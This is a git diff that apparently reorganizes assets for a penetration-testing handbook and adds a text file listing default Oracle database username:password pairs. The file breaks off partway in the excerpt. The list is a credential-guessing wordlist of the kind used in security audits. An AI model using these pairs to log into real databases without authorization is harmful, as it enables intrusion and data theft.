diff --git a/src/images/1.jpg b/.gitbook/assets/1 (1).jpg
similarity index 100%
rename from src/images/1.jpg
rename to .gitbook/assets/1 (1).jpg
diff --git a/src/images/1.png b/.gitbook/assets/1 (1).png
similarity index 100%
rename from src/images/1.png
rename to .gitbook/assets/1 (1).png
diff --git a/.gitbook/assets/1 (2) (1) (1).png b/.gitbook/assets/1 (2) (1) (1).png
new file mode 100644
index 00000000000..94cf468782b
Binary files /dev/null and b/.gitbook/assets/1 (2) (1) (1).png differ
diff --git a/.gitbook/assets/1 (2) (1).png b/.gitbook/assets/1 (2) (1).png
new file mode 100644
index 00000000000..94cf468782b
Binary files /dev/null and b/.gitbook/assets/1 (2) (1).png differ
diff --git a/src/images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png b/.gitbook/assets/1-u1jdryuwaevwjmf_f2ttjg.png
similarity index 100%
rename from src/images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png
rename to .gitbook/assets/1-u1jdryuwaevwjmf_f2ttjg.png
diff --git a/.gitbook/assets/1.jpg b/.gitbook/assets/1.jpg
new file mode 100644
index 00000000000..c5d0a4c9583
Binary files /dev/null and b/.gitbook/assets/1.jpg differ
diff --git a/src/images/10.png b/.gitbook/assets/10.png
similarity index 100%
rename from src/images/10.png
rename to .gitbook/assets/10.png
diff --git a/src/images/11.png b/.gitbook/assets/11.png
similarity index 100%
rename from src/images/11.png
rename to .gitbook/assets/11.png
diff --git a/src/images/12.png b/.gitbook/assets/12.png
similarity index 100%
rename from src/images/12.png
rename to .gitbook/assets/12.png
diff --git a/.gitbook/assets/13.png b/.gitbook/assets/13.png
new file mode 100644
index 00000000000..c49d3d1acdb
Binary files /dev/null and b/.gitbook/assets/13.png differ
diff --git a/src/images/14.png b/.gitbook/assets/14.png
similarity index 100%
rename from src/images/14.png
rename to .gitbook/assets/14.png
diff --git a/.gitbook/assets/15.png b/.gitbook/assets/15.png
new file mode 100644
index 00000000000..bc0d2d9abd3
Binary files /dev/null and b/.gitbook/assets/15.png differ
diff --git a/src/images/16.png b/.gitbook/assets/16.png
similarity index 100%
rename from src/images/16.png
rename to .gitbook/assets/16.png
diff --git a/src/images/17.png b/.gitbook/assets/17.png
similarity index 100%
rename from src/images/17.png
rename to .gitbook/assets/17.png
diff --git a/.gitbook/assets/18.png b/.gitbook/assets/18.png
new file mode 100644
index 00000000000..7565cb1d52a
Binary files /dev/null and b/.gitbook/assets/18.png differ
diff --git a/.gitbook/assets/19.png b/.gitbook/assets/19.png
new file mode 100644
index 00000000000..90ca1321da0
Binary files /dev/null and b/.gitbook/assets/19.png differ
diff --git a/.gitbook/assets/1_6qc-agcjyzwmf8rgnvr_eg.png b/.gitbook/assets/1_6qc-agcjyzwmf8rgnvr_eg.png
new file mode 100644
index 00000000000..5959de32f2a
Binary files /dev/null and b/.gitbook/assets/1_6qc-agcjyzwmf8rgnvr_eg.png differ
diff --git a/.gitbook/assets/1_jauyizf8zjdggb7ocszc-g.png b/.gitbook/assets/1_jauyizf8zjdggb7ocszc-g.png
new file mode 100644
index 00000000000..aea4b23cdd9
Binary files /dev/null and b/.gitbook/assets/1_jauyizf8zjdggb7ocszc-g.png differ
diff --git a/src/images/2.jpg b/.gitbook/assets/2.jpg
similarity index 100%
rename from src/images/2.jpg
rename to .gitbook/assets/2.jpg
diff --git a/src/images/2.png b/.gitbook/assets/2.png
similarity index 100%
rename from src/images/2.png
rename to .gitbook/assets/2.png
diff --git a/.gitbook/assets/20.png b/.gitbook/assets/20.png
new file mode 100644
index 00000000000..d5493e6ff32
Binary files /dev/null and b/.gitbook/assets/20.png differ
diff --git a/src/images/21.png b/.gitbook/assets/21.png
similarity index 100%
rename from src/images/21.png
rename to .gitbook/assets/21.png
diff --git a/src/images/22.png b/.gitbook/assets/22.png
similarity index 100%
rename from src/images/22.png
rename to .gitbook/assets/22.png
diff --git a/.gitbook/assets/23.png b/.gitbook/assets/23.png
new file mode 100644
index 00000000000..e03728e7db3
Binary files /dev/null and b/.gitbook/assets/23.png differ
diff --git a/.gitbook/assets/24.png b/.gitbook/assets/24.png
new file mode 100644
index 00000000000..6ba0f4b4e44
Binary files /dev/null and b/.gitbook/assets/24.png differ
diff --git a/.gitbook/assets/25.png b/.gitbook/assets/25.png
new file mode 100644
index 00000000000..6177926508f
Binary files /dev/null and b/.gitbook/assets/25.png differ
diff --git a/.gitbook/assets/26.png b/.gitbook/assets/26.png
new file mode 100644
index 00000000000..287b50512e2
Binary files /dev/null and b/.gitbook/assets/26.png differ
diff --git a/src/images/3-1.png b/.gitbook/assets/3-1.png
similarity index 100%
rename from src/images/3-1.png
rename to .gitbook/assets/3-1.png
diff --git a/.gitbook/assets/3.jpg b/.gitbook/assets/3.jpg
new file mode 100644
index 00000000000..de5e2cd1599
Binary files /dev/null and b/.gitbook/assets/3.jpg differ
diff --git a/src/images/3.png b/.gitbook/assets/3.png
similarity index 100%
rename from src/images/3.png
rename to .gitbook/assets/3.png
diff --git a/src/images/4.png b/.gitbook/assets/4 (1).png
similarity index 100%
rename from src/images/4.png
rename to .gitbook/assets/4 (1).png
diff --git a/.gitbook/assets/4.jpg b/.gitbook/assets/4.jpg
new file mode 100644
index 00000000000..26a0f626362
Binary files /dev/null and b/.gitbook/assets/4.jpg differ
diff --git a/.gitbook/assets/4.png b/.gitbook/assets/4.png
new file mode 100644
index 00000000000..472fbed86a7
Binary files /dev/null and b/.gitbook/assets/4.png differ
diff --git a/.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg b/.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg
new file mode 100644
index 00000000000..7d84b3bae24
Binary files /dev/null and b/.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg differ
diff --git a/.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png b/.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png
new file mode 100644
index 00000000000..7c73ffdcb56
Binary files /dev/null and b/.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png differ
diff --git a/.gitbook/assets/5.jpg b/.gitbook/assets/5.jpg
new file mode 100644
index 00000000000..66d7e1ca37e
Binary files /dev/null and b/.gitbook/assets/5.jpg differ
diff --git a/src/images/5.png b/.gitbook/assets/5.png
similarity index 100%
rename from src/images/5.png
rename to .gitbook/assets/5.png
diff --git a/.gitbook/assets/6.gif b/.gitbook/assets/6.gif
new file mode 100644
index 00000000000..1fc7f7d0f36
Binary files /dev/null and b/.gitbook/assets/6.gif differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (10).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (10).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (10).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (11).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (11).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (11).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (12).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (12).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (12).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (2).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (2).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (2).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (3).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (3).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (3).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (4).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (4).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (4).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (5).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (5).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (5).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (6).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (6).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (6).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (7).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (7).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (7).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (8).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (8).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (8).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (9).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (9).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (9).png differ
diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4).png
new file mode 100644
index 00000000000..4c4968b48f0
Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4).png differ
diff --git a/src/images/7.png b/.gitbook/assets/7.png
similarity index 100%
rename from src/images/7.png
rename to .gitbook/assets/7.png
diff --git a/src/images/8.png b/.gitbook/assets/8.png
similarity index 100%
rename from src/images/8.png
rename to .gitbook/assets/8.png
diff --git a/src/images/9.png b/.gitbook/assets/9.png
similarity index 100%
rename from src/images/9.png
rename to .gitbook/assets/9.png
diff --git a/.gitbook/assets/a10.png b/.gitbook/assets/a10.png
new file mode 100644
index 00000000000..2b7b4dd9c8d
Binary files /dev/null and b/.gitbook/assets/a10.png differ
diff --git a/.gitbook/assets/a11.png b/.gitbook/assets/a11.png
new file mode 100644
index 00000000000..85b1a8e0a63
Binary files /dev/null and b/.gitbook/assets/a11.png differ
diff --git a/.gitbook/assets/a12.png b/.gitbook/assets/a12.png
new file mode 100644
index 00000000000..0249d9f68b2
Binary files /dev/null and b/.gitbook/assets/a12.png differ
diff --git a/.gitbook/assets/a13.png b/.gitbook/assets/a13.png
new file mode 100644
index 00000000000..d5d699d9ac3
Binary files /dev/null and b/.gitbook/assets/a13.png differ
diff --git a/.gitbook/assets/a14.png b/.gitbook/assets/a14.png
new file mode 100644
index 00000000000..8daa0e1262e
Binary files /dev/null and b/.gitbook/assets/a14.png differ
diff --git a/.gitbook/assets/a15.png b/.gitbook/assets/a15.png
new file mode 100644
index 00000000000..ed808f5531f
Binary files /dev/null and b/.gitbook/assets/a15.png differ
diff --git a/.gitbook/assets/a16.png b/.gitbook/assets/a16.png
new file mode 100644
index 00000000000..b3c7203c85d
Binary files /dev/null and b/.gitbook/assets/a16.png differ
diff --git a/.gitbook/assets/a17.png b/.gitbook/assets/a17.png
new file mode 100644
index 00000000000..6a9ecae0fa5
Binary files /dev/null and b/.gitbook/assets/a17.png differ
diff --git a/.gitbook/assets/a19.png b/.gitbook/assets/a19.png
new file mode 100644
index 00000000000..c89c7ffbf62
Binary files /dev/null and b/.gitbook/assets/a19.png differ
diff --git a/.gitbook/assets/a2.png b/.gitbook/assets/a2.png
new file mode 100644
index 00000000000..c8d339e2021
Binary files /dev/null and b/.gitbook/assets/a2.png differ
diff --git a/.gitbook/assets/a20.png b/.gitbook/assets/a20.png
new file mode 100644
index 00000000000..a8cb42c7a9d
Binary files /dev/null and b/.gitbook/assets/a20.png differ
diff --git a/.gitbook/assets/a21.png b/.gitbook/assets/a21.png
new file mode 100644
index 00000000000..34d60bb1e97
Binary files /dev/null and b/.gitbook/assets/a21.png differ
diff --git a/.gitbook/assets/a22.png b/.gitbook/assets/a22.png
new file mode 100644
index 00000000000..47681388e7b
Binary files /dev/null and b/.gitbook/assets/a22.png differ
diff --git a/.gitbook/assets/a3.png b/.gitbook/assets/a3.png
new file mode 100644
index 00000000000..8a1ffcfe5ed
Binary files /dev/null and b/.gitbook/assets/a3.png differ
diff --git a/.gitbook/assets/a4.png b/.gitbook/assets/a4.png
new file mode 100644
index 00000000000..bde4ec6cfa2
Binary files /dev/null and b/.gitbook/assets/a4.png differ
diff --git a/.gitbook/assets/a5.png b/.gitbook/assets/a5.png
new file mode 100644
index 00000000000..69e26fe3fb2
Binary files /dev/null and b/.gitbook/assets/a5.png differ
diff --git a/.gitbook/assets/a6.png b/.gitbook/assets/a6.png
new file mode 100644
index 00000000000..a2837c36f58
Binary files /dev/null and b/.gitbook/assets/a6.png differ
diff --git a/.gitbook/assets/a7.png b/.gitbook/assets/a7.png
new file mode 100644
index 00000000000..a97e3e5545c
Binary files /dev/null and b/.gitbook/assets/a7.png differ
diff --git a/.gitbook/assets/a8.png b/.gitbook/assets/a8.png
new file mode 100644
index 00000000000..301dfaeef8d
Binary files /dev/null and b/.gitbook/assets/a8.png differ
diff --git a/.gitbook/assets/a9.png b/.gitbook/assets/a9.png
new file mode 100644
index 00000000000..0128043895d
Binary files /dev/null and b/.gitbook/assets/a9.png differ
diff --git a/src/images/aceinheritance.jpg b/.gitbook/assets/aceinheritance.jpg
similarity index 100%
rename from src/images/aceinheritance.jpg
rename to .gitbook/assets/aceinheritance.jpg
diff --git a/src/files/app-release.zip b/.gitbook/assets/app-release.zip
similarity index 100%
rename from src/files/app-release.zip
rename to .gitbook/assets/app-release.zip
diff --git a/src/images/asd1.png b/.gitbook/assets/asd1.png
similarity index 100%
rename from src/images/asd1.png
rename to .gitbook/assets/asd1.png
diff --git a/src/images/audit-tab.jpg b/.gitbook/assets/audit-tab.jpg
similarity index 100%
rename from src/images/audit-tab.jpg
rename to .gitbook/assets/audit-tab.jpg
diff --git a/.gitbook/assets/b1.png b/.gitbook/assets/b1.png
new file mode 100644
index 00000000000..ffd6fde7846
Binary files /dev/null and b/.gitbook/assets/b1.png differ
diff --git a/.gitbook/assets/b2.png b/.gitbook/assets/b2.png
new file mode 100644
index 00000000000..e6a65f817d8
Binary files /dev/null and b/.gitbook/assets/b2.png differ
diff --git a/.gitbook/assets/b3.png b/.gitbook/assets/b3.png
new file mode 100644
index 00000000000..b03da63d901
Binary files /dev/null and b/.gitbook/assets/b3.png differ
diff --git a/.gitbook/assets/b4.png b/.gitbook/assets/b4.png
new file mode 100644
index 00000000000..dd685597d17
Binary files /dev/null and b/.gitbook/assets/b4.png differ
diff --git a/src/images/classicsectab.jpg b/.gitbook/assets/classicsectab.jpg
similarity index 100%
rename from src/images/classicsectab.jpg
rename to .gitbook/assets/classicsectab.jpg
diff --git a/.gitbook/assets/copy_binary_admin.png b/.gitbook/assets/copy_binary_admin.png
new file mode 100644
index 00000000000..055b246a900
Binary files /dev/null and b/.gitbook/assets/copy_binary_admin.png differ
diff --git a/src/files/CTX_WSUSpect_White_Paper (1).pdf b/.gitbook/assets/ctx_wsuspect_white_paper (1).pdf
similarity index 100%
rename from src/files/CTX_WSUSpect_White_Paper (1).pdf
rename to .gitbook/assets/ctx_wsuspect_white_paper (1).pdf
diff --git a/.gitbook/assets/ctx_wsuspect_white_paper.pdf b/.gitbook/assets/ctx_wsuspect_white_paper.pdf
new file mode 100644
index 00000000000..d152ec3a50d
Binary files /dev/null and b/.gitbook/assets/ctx_wsuspect_white_paper.pdf differ
diff --git a/src/images/EauBb2EX0AERaNK (1).jpg b/.gitbook/assets/eaubb2ex0aerank.jpg
similarity index 100%
rename from src/images/EauBb2EX0AERaNK (1).jpg
rename to .gitbook/assets/eaubb2ex0aerank.jpg
diff --git a/src/images/editseprincipalpointers1.jpg b/.gitbook/assets/editseprincipalpointers1.jpg
similarity index 100%
rename from src/images/editseprincipalpointers1.jpg
rename to .gitbook/assets/editseprincipalpointers1.jpg
diff --git a/.gitbook/assets/eki5edauuaaipik.jpg b/.gitbook/assets/eki5edauuaaipik.jpg
new file mode 100644
index 00000000000..24c786eb7fc
Binary files /dev/null and b/.gitbook/assets/eki5edauuaaipik.jpg differ
diff --git a/src/files/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf b/.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf
similarity index 100%
rename from src/files/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
rename to .gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf
diff --git a/src/files/EN-Local-File-Inclusion-1.pdf b/.gitbook/assets/en-local-file-inclusion-1.pdf
similarity index 100%
rename from src/files/EN-Local-File-Inclusion-1.pdf
rename to .gitbook/assets/en-local-file-inclusion-1.pdf
diff --git a/.gitbook/assets/en-nosql-no-injection-ron-shulman-peleg-bronshtein-1.pdf b/.gitbook/assets/en-nosql-no-injection-ron-shulman-peleg-bronshtein-1.pdf
new file mode 100644
index 00000000000..3b49b5d5a9e
Binary files /dev/null and b/.gitbook/assets/en-nosql-no-injection-ron-shulman-peleg-bronshtein-1.pdf differ
diff --git a/src/files/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf b/.gitbook/assets/en-php-loose-comparison-type-juggling-owasp (1).pdf
similarity index 100%
rename from src/files/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
rename to .gitbook/assets/en-php-loose-comparison-type-juggling-owasp (1).pdf
diff --git a/.gitbook/assets/en-php-loose-comparison-type-juggling-owasp.pdf b/.gitbook/assets/en-php-loose-comparison-type-juggling-owasp.pdf
new file mode 100644
index 00000000000..f69e6346405
Binary files /dev/null and b/.gitbook/assets/en-php-loose-comparison-type-juggling-owasp.pdf differ
diff --git a/.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf b/.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf
new file mode 100644
index 00000000000..9eacd65568a
Binary files /dev/null and b/.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf differ
diff --git a/src/files/epmd_bf-0.1.tar.bz2 b/.gitbook/assets/epmd_bf-0.1.tar.bz2
similarity index 100%
rename from src/files/epmd_bf-0.1.tar.bz2
rename to .gitbook/assets/epmd_bf-0.1.tar.bz2
diff --git a/.gitbook/assets/final-oracle-accs.txt b/.gitbook/assets/final-oracle-accs.txt
new file mode 100644
index 00000000000..7e1932c4484
--- /dev/null
+++ b/.gitbook/assets/final-oracle-accs.txt
@@ -0,0 +1,1578 @@
+AASH:AASH
+ABA1:ABA1
+abm:abm
+ABM:ABM
+adams:wood
+ADAMS:WOOD
+adldemo:adldemo
+ADLDEMO:ADLDEMO
+administrator:admin
+ADMINISTRATOR:ADMIN
+administrator:administrator
+ADMINISTRATOR:ADMINISTRATOR
+admin:jetspeed
+ADMIN:JETSPEED
+admin:welcome
+ADMIN:WELCOME
+AD_MONITOR:LIZARD
+ADS:ADS
+ADSEUL_US:WELCOME
+ahl:ahl
+AHL:AHL
+ahm:ahm
+AHM:AHM
+ak:ak
+AK:AK
+ALA1:ALA1
+AL:AL
+alhro:xxx
+ALHRO:XXX
+alhrw:xxx
+ALHRW:XXX
+ALLUSERS:ALLUSERS
+alr:alr
+ALR:ALR
+AMA1:AMA1
+AMA2:AMA2
+AMA3:AMA3
+AMA4:AMA4
+AMF:AMF
+AMS1:AMS1
+AMS2:AMS2
+AMS3:AMS3
+AMS4:AMS4
+ams:ams
+AMS:AMS
+AMSYS:AMSYS
+amv:amv
+AMV:AMV
+AMW:AMW
+andy:swordfish
+ANDY:SWORDFISH
+ANNE:ANNE
+anonymous:anonymous
+ANONYMOUS:ANONYMOUS
+AOLDEMO:AOLDEMO
+APA1:APA1
+APA2:APA2
+APA3:APA3
+APA4:APA4
+ap:ap
+AP:AP
+APPLEAD:APPLEAD
+applmgr:applmgr
+APPLMGR:APPLMGR
+applsys:applsys
+APPLSYS:APPLSYS
+applsys:apps
+APPLSYS:APPS
+applsys:fnd
+APPLSYS:FND
+applsyspub:applsyspub
+APPLSYSPUB:APPLSYSPUB
+applsyspub:fndpub
+APPLSYSPUB:FNDPUB
+applsyspub:pub
+APPLSYSPUB:PUB
+applysyspub:fndpub
+APPLYSYSPUB:FNDPUB
+applysyspub:pub
+APPLYSYSPUB:PUB
+apps:apps
+APPS:APPS
+apps_mrc:apps
+APPS_MRC:APPS
+appuser:apppassword
+APPUSER:APPPASSWORD
+APS1:APS1
+APS2:APS2
+APS3:APS3
+APS4:APS4
+aq:aq
+AQ:AQ
+aqdemo:aqdemo
+AQDEMO:AQDEMO
+aqjava:aqjava
+AQJAVA:AQJAVA
+aquser:aquser
+AQUSER:AQUSER
+ARA1:ARA1
+ARA2:ARA2
+ARA3:ARA3
+ARA4:ARA4
+ar:ar
+AR:AR
+ARS1:ARS1
+ARS2:ARS2
+ARS3:ARS3
+ARS4:ARS4
+ART:ART
+asf:asf
+ASF:ASF
+asg:asg
+ASG:ASG
+asl:asl
+ASL:ASL
+ASN:ASN
+aso:aso
+ASO:ASO
+asp:asp
+ASP:ASP
+ast:ast
+AST:AST
+atm:sampleatm
+ATM:SAMPLEATM
+AUC_GUEST:AUC_GUEST
+audiouser:audiouser
+AUDIOUSER:AUDIOUSER
+aurora$jis$utility$:invalid
+AURORA$JIS$UTILITY$:INVALID
+aurora$orb$unauthenticated:invalid
+AURORA$ORB$UNAUTHENTICATED:INVALID
+AUTHORIA:AUTHORIA
+ax:ax
+AX:AX
+az:az
+AZ:AZ
+B2B:B2B
+BAM:BAM
+bc4j:bc4j
+BC4J:BC4J
+BCA1:BCA1
+BCA2:BCA2
+ben:ben
+BEN:BEN
+bic:bic
+BIC:BIC
+bil:bil
+BIL:BIL
+bim:bim
+BIM:BIM
+bis:bis
+BIS:BIS
+biv:biv
+BIV:BIV
+bix:bix
+BIX:BIX
+blake:paper
+BLAKE:PAPER
+blewis:blewis
+BLEWIS:BLEWIS
+BMEADOWS:BMEADOWS
+BNE:BNE
+bom:bom
+BOM:BOM
+BP01:BP01
+BP02:BP02
+BP03:BP03
+BP04:BP04
+BP05:BP05
+BP06:BP06
+brio_admin:brio_admin
+BRIO_ADMIN:BRIO_ADMIN
+brugernavn:adgangskode
+BRUGERNAVN:ADGANGSKODE
+brukernavn:password
+BRUKERNAVN:PASSWORD
+bsc:bsc
+BSC:BSC
+bug_reports:bug_reports
+BUG_REPORTS:BUG_REPORTS
+BUYACCT:BUYACCT
+BUYAPPR1:BUYAPPR1
+BUYAPPR2:BUYAPPR2
+BUYAPPR3:BUYAPPR3
+BUYER:BUYER
+BUYMTCH:BUYMTCH
+calvin:hobbes
+CALVIN:HOBBES
+CAMRON:CAMRON
+CANDICE:CANDICE
+CARL:CARL
+CARLY:CARLY
+CARMEN:CARMEN
+CARRIECONYERS:CARRIECONYERS
+CATADMIN:CATADMIN
+catalog:catalog
+CATALOG:CATALOG
+cct:cct
+CCT:CCT
+cdemo82:cdemo82
+CDEMO82:CDEMO82
+cdemo82:cdemo83
+CDEMO82:CDEMO83
+cdemo82:unknown
+CDEMO82:UNKNOWN
+cdemocor:cdemocor
+CDEMOCOR:CDEMOCOR
+cdemorid:cdemorid
+CDEMORID:CDEMORID
+cdemoucb:cdemoucb
+CDEMOUCB:CDEMOUCB
+cdouglas:cdouglas
+CDOUGLAS:CDOUGLAS
+CEASAR:CEASAR
+ce:ce
+CE:CE
+centra:centra
+CENTRA:CENTRA
+central:central
+CENTRAL:CENTRAL
+CFD:CFD
+CHANDRA:CHANDRA
+CHARLEY:CHARLEY
+CHRISBAKER:CHRISBAKER
+CHRISTIE:CHRISTIE
+cids:cids
+CIDS:CIDS
+CINDY:CINDY
+cis:cis
+CIS:CIS
+cisinfo:cisinfo
+CISINFO:CISINFO
+cisinfo:zwerg
+CISINFO:ZWERG
+cis:zwerg
+CIS:ZWERG
+CLARK:CLARK
+clark:cloth
+CLARK:CLOTH
+CLAUDE:CLAUDE
+CLINT:CLINT
+CLN:CLN
+CNCADMIN:CNCADMIN
+cn:cn
+CN:CN
+company:company
+COMPANY:COMPANY
+compiere:compiere
+COMPIERE:COMPIERE
+CONNIE:CONNIE
+CONNOR:CONNOR
+CORY:CORY
+cqschemauser:password
+CQSCHEMAUSER:PASSWORD
+cquserdbuser:password
